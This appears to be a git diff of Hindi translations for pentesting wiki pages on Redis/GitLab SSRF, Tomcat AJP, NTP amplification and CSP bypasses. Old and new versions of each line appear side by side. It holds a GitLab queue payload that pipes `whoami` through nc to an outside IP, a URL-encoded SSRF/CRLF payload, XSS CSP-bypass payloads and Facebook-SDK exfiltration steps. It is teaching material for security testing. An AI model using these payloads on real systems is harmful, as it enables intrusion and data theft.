* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### Master-Slave Module
​मास्टर redis की सभी ऑपरेशन स्वचालित रूप से स्लेव redis पर समन्वयित होत हैं, जिसका अर्थ है कि हम कमजोर redis को एक स्लेव redis के रूप में मान सकते हैं, जो हमारे द्वारा नियंत्रित मास्टर redis से जुड़ा है, फिर हम अपने redis में आदेश दर्ज कर सकते हैं।
​मास्टर redis सभी संचालन स्वचालित रूप से स्लेव redis पर समन्वयित होत हैं, जिसका अर्थ है कि हम कमजोर redis को एक स्लेव redis के रूप में मान सकते हैं, जो मास्टर redis से जुड़ा है जिसे हम नियंत्रित करते हैं, फिर हम अपने redis में आदेश दर्ज कर सकते हैं।
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
@ -305,24 +305,24 @@ sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
और **URL encode** अनुरोध **SSRF** और **CRLF** का दुरुपयोग करके `whoami` निष्पादित करने और आउटपुट को `nc` के माध्यम से वापस भेजने का है:
और **URL encode** अनुरोध **SSRF** और **CRLF** का दुरुपयोग करके `whoami` निष्पादित करने और आउटपुट को `nc` के माध्यम से वापस भेजने का तरीका है:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_किसी कारण से (जैसा कि_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _से लिया गया है) शोषण `git` स्कीम के साथ काम करता है और `http` स्कीम के साथ नहीं।_
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
हैकिंग की रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ जुड़ें
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
तेज-तर्रार हैकिंग दुनिया के साथ वास्तविक समय की खबरों और अंतर्दृष्टियों के माध्यम से अद्यतित रहें
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -34,7 +34,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
From: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
> AJP एक वायर प्रोटोकॉल है। यह HTTP प्रोटोकॉल का एक अनुकूलित संस्करण है जो एक स्वतंत्र वेब सर्वर जैसे [Apache](http://httpd.apache.org/) को Tomcat से बात करने की अनुमति देता है। ऐतिहासिक रूप से, Apache ने स्थिर सामग्री को सेवा देने में Tomcat की तुलना में बहुत तेज़ी दिखाई है। विचार यह है कि जब संभव हो, तो Apache स्थिर सामग्री को सेवा दे, लेकिन Tomcat से संबंधित सामग्री के लिए अनुरोध को Tomcat पर प्रॉक्सी करें
> AJP एक वायर प्रोटोकॉल है। यह HTTP प्रोटोकॉल का एक अनुकूलित संस्करण है जो एक स्वतंत्र वेब सर्वर जैसे [Apache](http://httpd.apache.org/) को Tomcat से बात करने की अनुमति देता है। ऐतिहासिक रूप से, Apache ने स्थिर सामग्री को सेवा देने में Tomcat की तुलना में बहुत तेज़ी दिखाई है। विचार यह है कि जब संभव हो, Apache स्थिर सामग्री को सेवा दे, लेकिन Tomcat से संबंधित सामग्री के लिए Tomcat को अनुरोध प्रॉक्सी करे
Also interesting:
@ -49,7 +49,7 @@ PORT STATE SERVICE
यदि AJP पोर्ट उजागर है, तो Tomcat Ghostcat भेद्यता के प्रति संवेदनशील हो सकता है। यहाँ एक [शोषण](https://www.exploit-db.com/exploits/48143) है जो इस समस्या के साथ काम करता है।
Ghostcat एक LFI भेद्यता है, लेकिन कुछ हद तक सीमित: केवल एक निश्चित पथ से फ़ाइलें खींची जा सकती हैं। फिर भी, इसमें `WEB-INF/web.xml` जैसी फ़ाइलें शामिल हो सकती हैं जो Tomcat इंटरफ़ेस के लिए क्रेडेंशियल्स जैसी महत्वपूर्ण जानकारी लीक कर सकती हैं, जो सर्वर सेटअप पर निर्भर करती है
Ghostcat एक LFI भेद्यता है, लेकिन कुछ हद तक सीमित: केवल एक निश्चित पथ से फ़ाइलें खींची जा सकती हैं। फिर भी, इसमें `WEB-INF/web.xml` जैसी फ़ाइलें शामिल हो सकती हैं जो Tomcat इंटरफ़ेस के लिए क्रेडेंशियल्स जैसी महत्वपूर्ण जानकारी लीक कर सकती हैं, सर्वर सेटअप के आधार पर
9.0.31, 8.5.51, और 7.0.100 या उससे ऊपर के पैच किए गए संस्करणों ने इस समस्या को ठीक कर दिया है।
@ -67,7 +67,7 @@ nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
[डॉकराइज्ड संस्करण देखें](8009-pentesting-apache-jserv-protocol-ajp.md#Dockerized-version)
जब हम एक खुले AJP प्रॉक्सी पोर्ट (8009 TCP) का सामना करते हैं, तो हम "छिपे हुए" टॉमकैट प्रबंधक तक पहुँचने के लिए Nginx का उपयोग कर सकते हैं। यह Nginx स्रोत कोड को संकलित करके और आवश्यक मॉड्यूल को जोड़कर किया जा सकता है, जैसे:
जब हम एक खुले AJP प्रॉक्सी पोर्ट (8009 TCP) का सामना करते हैं, तो हम "छिपे हुए" टॉमकैट प्रबंधक तक पहुँचने के लिए `ajp_module` के साथ Nginx का उपयोग कर सकते हैं। यह Nginx स्रोत कोड को संकलित करके और आवश्यक मॉड्यूल को जोड़कर किया जा सकता है, जैसे:
* Nginx स्रोत कोड डाउनलोड करें
* आवश्यक मॉड्यूल डाउनलोड करें
@ -174,7 +174,7 @@ msf exploit(tomcat_mgr_deploy) > show options
* [https://github.com/yaoweibin/nginx\_ajp\_module](https://github.com/yaoweibin/nginx\_ajp\_module)
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -16,7 +16,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
{% endhint %}
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -33,7 +33,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
## Basic Information
**नेटवर्क टाइम प्रोटोकॉल (NTP)** यह सुनिश्चित करता है कि कंप्यूटर और नेटवर्क उपकरण विभिन्न-लेटेंसी नेटवर्क में अपने घड़ियों को सटीक रूप से समन्वयित करें। यह आईटी संचालन, सुरक्षा और लॉगिंग में सटीक समयkeeping बनाए रखने के लिए महत्वपूर्ण है। NTP की सटीकता आवश्यक है, लेकिन यदि इसे सही तरीके से प्रबंधित नहीं किया गया तो यह सुरक्षा जोखिम भी पैदा कर सकता है।
**नेटवर्क टाइम प्रोटोकॉल (NTP)** यह सुनिश्चित करता है कि कंप्यूटर और नेटवर्क उपकरण विभिन्न-लेटेंसी नेटवर्क पर अपने घड़ियों को सटीक रूप से समन्वयित करें। यह आईटी संचालन, सुरक्षा और लॉगिंग में सटीक समयkeeping बनाए रखने के लिए महत्वपूर्ण है। NTP की सटीकता आवश्यक है, लेकिन यदि इसे सही तरीके से प्रबंधित नहीं किया गया तो यह सुरक्षा जोखिम भी पैदा कर सकता है।
### Summary & Security Tips:
@ -71,7 +71,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
[**How NTP DDoS Attack Works**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
**NTP प्रोटोकॉल**, UDP का उपयोग करते हुए, हैंडशेक प्रक्रियाओं की आवश्यकता के बिना संचालन की अनुमति देता है, TCP के विपरीत। इस विशेषता का उपयोग **NTP DDoS एम्प्लीफिकेशन हमलों** में किया जाता है। यहाँ, हमलावर एक नकली स्रोत IP के साथ पैकेट बनाते हैं, जिससे ऐसा लगता है कि हमले के अनुरोध पीड़ित से आ रहे हैं। ये पैकेट, जो प्रारंभ में छोटे होते हैं, NTP सर्वर को बहुत बड़े डेटा वॉल्यूम के साथ प्रतिक्रिया देने के लिए प्रेरित करते हैं, जिससे हमले की तीव्रता बढ़ जाती है।
**NTP प्रोटोकॉल**, UDP का उपयोग करते हुए, हैंडशेक प्रक्रियाओं की आवश्यकता के बिना संचालन की अनुमति देता है, TCP के विपरीत। इस विशेषता का उपयोग **NTP DDoS amplification attacks** में किया जाता है। यहाँ, हमलावर एक नकली स्रोत IP के साथ पैकेट बनाते हैं, जिससे ऐसा प्रतीत होता है कि हमले के अनुरोध पीड़ित से आ रहे हैं। ये पैकेट, जो प्रारंभ में छोटे होते हैं, NTP सर्वर को बहुत बड़े डेटा वॉल्यूम के साथ प्रतिक्रिया देने के लिए प्रेरित करते हैं, जिससे हमले की तीव्रता बढ़ जाती है।
_**MONLIST**_ कमांड, इसके दुर्लभ उपयोग के बावजूद, NTP सेवा से जुड़े अंतिम 600 क्लाइंट की रिपोर्ट कर सकता है। जबकि कमांड स्वयं सरल है, ऐसे हमलों में इसका दुरुपयोग महत्वपूर्ण सुरक्षा कमजोरियों को उजागर करता है।
```bash
@ -100,18 +100,18 @@ Name: Nmap
Description: Enumerate NTP
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
हैकिंग की रोमांचक और चुनौतियों में गहराई से जाने वाल सामग्री के साथ जुड़ें
हैकिंग की रोमांचक और चुनौतियों में गहराई से जाने वाल सामग्री के साथ जुड़ें
**Real-Time Hack News**\
तेज-तर्रार हैकिंग दुनिया के साथ वास्तविक समय की खबरों और अंतर्दृष्टियों के माध्यम से अद्यतित रहें
**Latest Announcements**\
वीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{% hint style="success" %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -67,32 +67,32 @@ object-src 'none';
```
### Directives
* **script-src**: JavaScript के लिए विशिष्ट स्रोतों की अनुमति देता है, जिसमें URLs, इनलाइन स्क्रिप्ट और इवेंट हैंडलर्स या XSLT स्टाइलशीट द्वारा ट्रिगर की गई स्क्रिप्ट शामिल हैं।
* **script-src**: JavaScript के लिए विशिष्ट स्रोतों की अनुमति देता है, जिसमें URL, इनलाइन स्क्रिप्ट और इवेंट हैंडलर्स या XSLT स्टाइलशीट द्वारा ट्रिगर की गई स्क्रिप्ट शामिल हैं।
* **default-src**: जब विशिष्ट फेच निर्देश अनुपस्थित होते हैं, तो संसाधनों को लाने के लिए एक डिफ़ॉल्ट नीति सेट करता है।
* **child-src**: वेब वर्कर्स और एम्बेडेड फ्रेम सामग्री के लिए अनुमत संसाधनों को निर्दिष्ट करता है।
* **connect-src**: उन URLs को प्रतिबंधित करता है जिन्हें fetch, WebSocket, XMLHttpRequest जैसी इंटरफेस का उपयोग करके लोड किया जा सकता है।
* **frame-src**: फ्रेम के लिए URLs को प्रतिबंधित करता है।
* **connect-src**: उन URL को प्रतिबंधित करता है जिन्हें fetch, WebSocket, XMLHttpRequest जैसी इंटरफेस का उपयोग करके लोड किया जा सकता है।
* **frame-src**: फ्रेम के लिए URL को प्रतिबंधित करता है।
* **frame-ancestors**: निर्दिष्ट करता है कि कौन से स्रोत वर्तमान पृष्ठ को एम्बेड कर सकते हैं, जो `<frame>`, `<iframe>`, `<object>`, `<embed>`, और `<applet>` जैसे तत्वों पर लागू होता है।
* **img-src**: चित्रों के लिए अनुमत स्रोतों को परिभाषित करता है।
* **img-src**: छवियों के लिए अनुमत स्रोतों को परिभाषित करता है।
* **font-src**: `@font-face` का उपयोग करके लोड किए गए फोंट के लिए मान्य स्रोतों को निर्दिष्ट करता है।
* **manifest-src**: एप्लिकेशन मैनिफेस्ट फ़ाइलों के लिए अनुमत स्रोतों को परिभाषित करता है।
* **media-src**: मीडिया ऑब्जेक्ट्स को लोड करने के लिए अनुमत स्रोतों को परिभाषित करता है।
* **object-src**: `<object>`, `<embed>`, और `<applet>` तत्वों के लिए अनुमत स्रोतों को परिभाषित करता है।
* **base-uri**: `<base>` तत्वों का उपयोग करके लोड करने के लिए अनुमत URLs को निर्दिष्ट करता है।
* **base-uri**: `<base>` तत्वों का उपयोग करके लोड करने के लिए अनुमत URL को निर्दिष्ट करता है।
* **form-action**: फ़ॉर्म सबमिशन के लिए मान्य एंडपॉइंट्स की सूची बनाता है।
* **plugin-types**: उन माइम प्रकारों को प्रतिबंधित करता है जिन्हें एक पृष्ठ सक्रिय कर सकता है।
* **upgrade-insecure-requests**: ब्राउज़रों को HTTP URLs को HTTPS में फिर से लिखने के लिए निर्देशित करता है।
* **upgrade-insecure-requests**: ब्राउज़रों को HTTP URL को HTTPS में फिर से लिखने के लिए निर्देशित करता है।
* **sandbox**: `<iframe>` के सैंडबॉक्स विशेषता के समान प्रतिबंध लागू करता है।
* **report-to**: निर्दिष्ट करता है कि यदि नीति का उल्लंघन होता है तो रिपोर्ट किस समूह को भेजी जाएगी।
* **worker-src**: वर्कर, SharedWorker, या ServiceWorker स्क्रिप्ट के लिए मान्य स्रोतों को निर्दिष्ट करता है।
* **prefetch-src**: उन संसाधनों के लिए मान्य स्रोतों को निर्दिष्ट करता है जिन्हें लाया जाएगा या पहले से लाया जाएगा।
* **navigate-to**: उन URLs को प्रतिबंधित करता है जिन पर कोई दस्तावेज़ किसी भी तरीके से नेविगेट कर सकता है (a, form, window.location, window.open, आदि।)
* **prefetch-src**: उन संसाधनों के लिए मान्य स्रोतों को निर्दिष्ट करता है जिन्हें लाया जाएगा या प्रीफेच किया जाएगा।
* **navigate-to**: उन URL को प्रतिबंधित करता है जिन पर कोई दस्तावेज़ किसी भी तरीके से नेविगेट कर सकता है (a, form, window.location, window.open, आदि।)
### Sources
* `*`: सभी URLs की अनुमति देता है सिवाय `data:`, `blob:`, `filesystem:` स्कीम वाले।
* `'self'`: उसी डोमेन से लोड करने की अनुमति देता है।
* `'data'`: डेटा स्कीम के माध्यम से संसाधनों को लोड करने की अनुमति देता है (जैसे, Base64 एन्कोडेड चित्र)।
* `*`: सभी URL की अनुमति देता है सिवाय `data:`, `blob:`, `filesystem:` स्कीमों के।
* `'self'`: समान डोमेन से लोड करने की अनुमति देता है।
* `'data'`: डेटा स्कीम के माध्यम से संसाधनों को लोड करने की अनुमति देता है (जैसे, Base64 एन्कोडेड छवियाँ)।
* `'none'`: किसी भी स्रोत से लोडिंग को ब्लॉक करता है।
* `'unsafe-eval'`: `eval()` और समान विधियों के उपयोग की अनुमति देता है, सुरक्षा कारणों से अनुशंसित नहीं है।
* `'unsafe-hashes'`: विशिष्ट इनलाइन इवेंट हैंडलर्स को सक्षम करता है।
@ -114,15 +114,15 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
```
</details>
* `'sha256-<hash>'`: विशिष्ट sha256 हैश के साथ स्क्रिप्ट को व्हाइटलिस्ट करता है।
* `'sha256-<hash>'`: एक विशिष्ट sha256 हैश के साथ स्क्रिप्ट को व्हाइटलिस्ट करता है।
* `'strict-dynamic'`: यदि इसे नॉनस या हैश द्वारा व्हाइटलिस्ट किया गया है तो किसी भी स्रोत से स्क्रिप्ट लोड करने की अनुमति देता है।
* `'host'`: एक विशिष्ट होस्ट निर्दिष्ट करता है, जैसे `example.com`
* `https:`: URLs को उन पर प्रतिबंधित करता है जो HTTPS का उपयोग करते हैं।
* `https:`: उन URL को प्रतिबंधित करता है जो HTTPS का उपयोग करते हैं।
* `blob:`: Blob URLs (जैसे, JavaScript के माध्यम से बनाए गए Blob URLs) से संसाधनों को लोड करने की अनुमति देता है।
* `filesystem:`: फ़ाइल सिस्टम से संसाधनों को लोड करने की अनुमति देता है।
* `'report-sample'`: उल्लंघन रिपोर्ट में उल्लंघन करने वाले कोड का एक नमूना शामिल करता है (डीबगिंग के लिए उपयोगी)।
* `'strict-origin'`: 'self' के समान लेकिन सुनिश्चित करता है कि स्रोतों का प्रोटोकॉल सुरक्षा स्तर दस्तावेज़ से मेल खाता है (केवल सुरक्षित मूल सुरक्षित मूल से संसाधन लोड कर सकते हैं)।
* `'strict-origin-when-cross-origin'`: समान मूल अनुरोध करते समय पूर्ण URLs भेजता है लेकिन केवल तब मूल भेजता है जब अनुरोध क्रॉस-ओरिजिन हो।
* `'strict-origin-when-cross-origin'`: समान मूल अनुरोध करते समय पूर्ण URL भेजता है लेकिन केवल तब मूल भेजता है जब अनुरोध क्रॉस-ओरिजिन हो।
* `'unsafe-allow-redirects'`: संसाधनों को लोड करने की अनुमति देता है जो तुरंत किसी अन्य संसाधन पर रीडायरेक्ट करेंगे। सुरक्षा को कमजोर करने के कारण अनुशंसित नहीं है।
## Unsafe CSP Rules
@ -153,7 +153,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
### strict-dynamic
यदि आप किसी तरह से एक **अनुमत JS कोड द्वारा DOM में एक नया स्क्रिप्ट टैग बनाया जा सकता है** अपने JS कोड के साथ, क्योंकि एक अनुमत स्क्रिप्ट इसे बना रही है, तो **नया स्क्रिप्ट टैग निष्पादित होने की अनुमति दी जाएगी**
यदि आप किसी तरह से एक **अनुमत JS कोड ने आपके JS कोड के साथ DOM में एक नया स्क्रिप्ट टैग बनाया**, क्योंकि एक अनुमत स्क्रिप्ट इसे बना रही है, तो **नया स्क्रिप्ट टैग निष्पादित होने की अनुमति दी जाएगी**
### Wildcard (\*)
```yaml
@ -188,11 +188,11 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
हालांकि, यह अत्यधिक संभावित है कि सर्वर **अपलोड की गई फ़ाइल को मान्य कर रहा है** और केवल आपको **निर्धारित प्रकार की फ़ाइलें अपलोड करने** की अनुमति देगा।
हालांकि, यह अत्यधिक संभावित है कि सर्वर **अपलोड की गई फ़ाइल को मान्य कर रहा है** और केवल आपको **निर्धारित प्रकार की फ़ाइलें अपलोड करने की अनुमति देगा**
इसके अलावा, भले ही आप सर्वर द्वारा स्वीकार की गई एक्सटेंशन (जैसे: _script.png_) का उपयोग करके फ़ाइल के अंदर **JS कोड अपलोड** कर सकें, यह पर्याप्त नहीं होगा क्योंकि कुछ सर्वर जैसे अपाचे सर्वर **फाइल के एक्सटेंशन के आधार पर MIME प्रकार का चयन करते हैं** और Chrome जैसे ब्राउज़र **Javascript** कोड को कुछ ऐसा करने से **अस्वीकृत** कर देंगे जो एक छवि होनी चाहिए। "उम्मीद है", वहाँ गलतियाँ हैं। उदाहरण के लिए, एक CTF से मैंने सीखा कि **Apache को _**.wave**_ एक्सटेंशन का पता नहीं है, इसलिए यह इसे **MIME प्रकार जैसे audio/\*** के साथ सर्व नहीं करता है।
इसके अलावा, भले ही आप सर्वर द्वारा स्वीकार की गई एक्सटेंशन (जैसे: _script.png_) का उपयोग करके एक **JS कोड फ़ाइल के अंदर** अपलोड कर सकें, यह पर्याप्त नहीं होगा क्योंकि कुछ सर्वर जैसे अपाचे सर्वर **फाइल के एक्सटेंशन के आधार पर MIME प्रकार का चयन करते हैं** और ब्राउज़र जैसे Chrome **Javascript** कोड को कुछ ऐसा करने से **अस्वीकृत कर देंगे जो एक छवि होनी चाहिए**। "उम्मीद है", वहाँ गलतियाँ हैं। उदाहरण के लिए, एक CTF से मैंने सीखा कि **Apache को _**.wave**_ एक्सटेंशन का पता नहीं है, इसलिए यह इसे **MIME प्रकार जैसे audio/\*** के साथ सर्व नहीं करता है।
यहां से, यदि आप एक XSS और एक फ़ाइल अपलोड पाते हैं, और आप एक **गलत व्याख्यायित एक्सटेंशन** खोजने में सफल होते हैं, तो आप उस एक्सटेंशन के साथ एक फ़ाइल अपलोड करने और स्क्रिप्ट की सामग्री को आज़मा सकते हैं। या, यदि सर्वर अपलोड की गई फ़ाइल के सही प्रारूप की जांच कर रहा है, तो एक पॉलीग्लॉट बनाएं ([कुछ पॉलीग्लॉट उदाहरण यहाँ](https://github.com/Polydet/polyglot-database))।
यहां से, यदि आप एक XSS और एक फ़ाइल अपलोड पाते हैं, और आप एक **गलत व्याख्यायित एक्सटेंशन** खोजने में सफल होते हैं, तो आप उस एक्सटेंशन के साथ एक फ़ाइल अपलोड करने और स्क्रिप्ट की सामग्री को आज़मा सकते हैं। या, यदि सर्वर अपलोड की गई फ़ाइल के सही प्रारूप की जांच कर रहा है, तो एक पॉलीग्लॉट बनाएं ([यहां कुछ पॉलीग्लॉट उदाहरण](https://github.com/Polydet/polyglot-database))।
### Form-action
@ -227,10 +227,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Angular का उपयोग करते हुए Payloads + एक पुस्तकालय जिसमें ऐसे फ़ंक्शन हैं जो `window` ऑब्जेक्ट लौटाते हैं ([इस पोस्ट को देखें](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
{% hint style="info" %}
पोस्ट दिखाती है कि आप `cdn.cloudflare.com` (या किसी अन्य अनुमत JS पुस्तकालय रिपॉजिटरी) से सभी **पुस्तकालयों** को **लोड** कर सकते हैं, प्रत्येक पुस्तकालय से सभी जोड़े गए फ़ंक्शनों को निष्पादित कर सकते हैं, और **यह जांच सकते हैं कि कौन से फ़ंक्शन किस पुस्तकालय से `window` ऑब्जेक्ट लौटाते हैं**।
यह पोस्ट दिखाता है कि आप `cdn.cloudflare.com` (या किसी अन्य अनुमत JS लाइब्रेरी रिपॉजिटरी) से सभी **लाइब्रेरीज़** को **लोड** कर सकते हैं, प्रत्येक लाइब्रेरी से सभी जोड़े गए फ़ंक्शं को निष्पादित कर सकते हैं, और **यह जांच सकते हैं कि कौन से फ़ंक्शंस कौन सी लाइब्रेरीज़ से `window` ऑब्जेक्ट लौटाते हैं**।
{% endhint %}
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
@ -261,7 +261,7 @@ Angular XSS एक क्लास नाम से:
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Google reCAPTCHA JS कोड का दुरुपयोग
#### Google recaptcha JS कोड का दुरुपयोग
[**इस CTF लेख**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) के अनुसार, आप CSP के भीतर [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) का दुरुपयोग कर सकते हैं ताकि CSP को बायपास करते हुए मनचाहा JS कोड निष्पादित किया जा सके:
```html
@ -274,7 +274,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
अधिक [**इस लेख से पेलोड्स**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
अधिक [**पेलोड इस लेख से**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
@ -291,13 +291,13 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
```
#### www.google.com का उपयोग करके ओपन रीडायरेक्ट का दुरुपयोग
निम्नलिखित URL example.com पर रीडायरेक्ट करता है (यहां से [यहां](https://www.landh.tech/blog/20240304-google-hack-50000/)):
निम्नलिखित URL example.com पर रीडायरेक्ट करता है (यहां से):
```
https://www.google.com/amp/s/example.com/
```
Abusing \*.google.com/script.google.com
Google Apps Script का दुरुपयोग करना संभव है ताकि script.google.com के अंदर एक पृष्ठ में जानकारी प्राप्त की जा सके। जैसे कि इसे [इस रिपोर्ट में किया गया है](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)।
Google Apps Script का दुरुपयोग करके script.google.com के अंदर एक पृष्ठ में जानकारी प्राप्त करना संभव है। जैसे कि इसे [इस रिपोर्ट में](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) किया गया है
### Third Party Endpoints + JSONP
```http
@ -315,7 +315,7 @@ https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **विभिन्न वेबसाइटों के CSP बायपास के लिए उपयोग करने के लिए तैयार JSONP एंडपॉइंट्स शामिल करता है।**
यदि **विश्वसनीय एंडपॉइंट में एक ओपन रीडायरेक्ट है**, तो वही भेद्यता उत्पन्न होगी क्योंकि यदि प्रारंभिक एंडपॉइंट विश्वसनीय है, तो रीडायरेक्ट भी विश्वसनीय हैं।
यदि **विश्वसनीय एंडपॉइंट में एक ओपन रीडायरेक्ट है**, तो वही भेद्यता उत्पन्न होगी क्योंकि यदि प्रारंभिक एंडपॉइंट विश्वसनीय है, तो रीडायरेक्ट विश्वसनीय होते हैं।
### थर्ड पार्टी दुरुपयोग
@ -344,11 +344,11 @@ Content-Security-Policy: connect-src www.facebook.com;
```
आपको डेटा को एक्सफिल्ट्रेट करने में सक्षम होना चाहिए, जैसे कि हमेशा [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) के साथ किया गया है। इस मामले में, आप इन सामान्य चरणों का पालन करते हैं:
1. यहा एक Facebook Developer खाता बनाएं।
1. यहा एक Facebook Developer खाता बनाएं।
2. एक नया "Facebook Login" ऐप बनाएं और "Website" चुनें।
3. "Settings -> Basic" पर जाएं और अपना "App ID" प्राप्त करें।
4. लक्षित साइट पर, जिससे आप डेटा एक्सफिल्ट्रेट करना चाहते हैं, आप "customEvent" और डेटा पेलोड के माध्यम से Facebook SDK गैजेट "fbq" का सीधे उपयोग करके डेटा एक्सफिल्ट्रेट कर सकते हैं।
5. अपने ऐप "Event Manager" पर जाएं और उस प्लिकेशन का चयन करें जिसे आपने बनाया है (ध्यान दें कि इवेंट मैनेजर एक URL में पाया जा सकता है जो इस तरह का है: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)
